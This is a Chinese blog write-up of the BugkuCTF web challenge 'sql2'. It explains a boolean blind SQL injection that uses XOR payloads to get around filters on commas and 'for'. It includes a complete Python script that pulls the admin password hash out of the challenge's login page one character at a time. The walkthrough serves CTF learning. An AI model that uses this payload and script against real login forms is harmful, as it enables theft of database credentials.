bugkuctf web区 sql2

来了!终于做出来(虽然是在大佬帮助下,提前感谢大佬)

在看wp之后发现这是一道典型的.DS_Store源码泄露,其他类型的web源码泄露:https://www.secpulse.com/archives/55286.html

但是,这很明显是有另一种属于 sql注入 的解法。那么作为一个萌新,sql注入也是一个很重要的知识点,于是决定用注入解出问题。

先抓包。然后看看它都过滤了什么。

然后你跟我说,只有这些东西(长度367)没有被过滤??

 心态崩了,但是可以确定,这绝对是盲注,那就没有什么好说的了,发现它有两种返回形式 username error!   和     password  error!

那么就是基于布尔类型的盲注了。^和-没有过滤,可以试试异或注入。

 思路:

异或注入中 id= 'admin'^(0)^'' 就相当于id=0  而  id='admin'^(1)^''  就相当于id=1 所以我们可以在括号中放入我们需要注入的sql语句,从而实现判断对错。

成功用 payload=admin'^(length(passwd)=32)^' 获得这个密码的长度是32位(看来很可能是md5)。然后快乐下一步。

但是这个憨批东西把逗号给过滤了(缓缓打出一个问好)。不过还好,我们还有别的方法

substr((database())from(1)for(1))   就相当于  substr(database(),1,1)

然后。。你把 for 都过滤了?(我可能不适合这个东西。)

然后看了大佬的wp后才发现竟然可以不要for(惊!)

 字符串从第二位开始到最后。

然后用这个方法,再把字符串反向取一遍不就可以拿到每一位的字符了吗?

二话不说

写脚本(注意一下网址是login.php而并不是index.php,当初因为搞错网址卡了好久)

import requests


dict1 = 'abcdefghijklmnopqrstuvwxyz -ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890:_@,{}.'
url = 'http://123.206.87.240:8007/web2/login.php'         #注意网址
uname = "admin'^(ascii(mid(REVERSE(substr((passwd)from(-{})))from(-1)))={})^'"
passwd = '123456'

req = requests.session()
cookie = {'PHPSESSID':'eae6uln265c9dm58f306g4d2sand7ea8'}
params = {'uname':uname,'passwd':passwd}
flag = ''


for k in range(32):
    for i in range(72):
        params = {'uname':uname.format(str(k),str(ord(dict1[i]))),'passwd':passwd}
        ans = requests.post(url,params).text

        if 'username' in ans:
            print(dict1[i])
            flag += dict1[i]
            break

print(flag)

爆得md5 

 拿到md5解密网站上去看一下,拿到了密码

输入用户名密码。

进入

 既然你都写出来了,那我就ls试一下,然后就拿到了flag

感谢大佬

参考wp:

https://blog.csdn.net/yiqiushi4748/article/details/93138238

https://blog.csdn.net/Langtuteng17/article/details/80779050

https://blog.csdn.net/Mikasa_/article/details/87475337

原文地址:https://www.cnblogs.com/cioi/p/11651075.html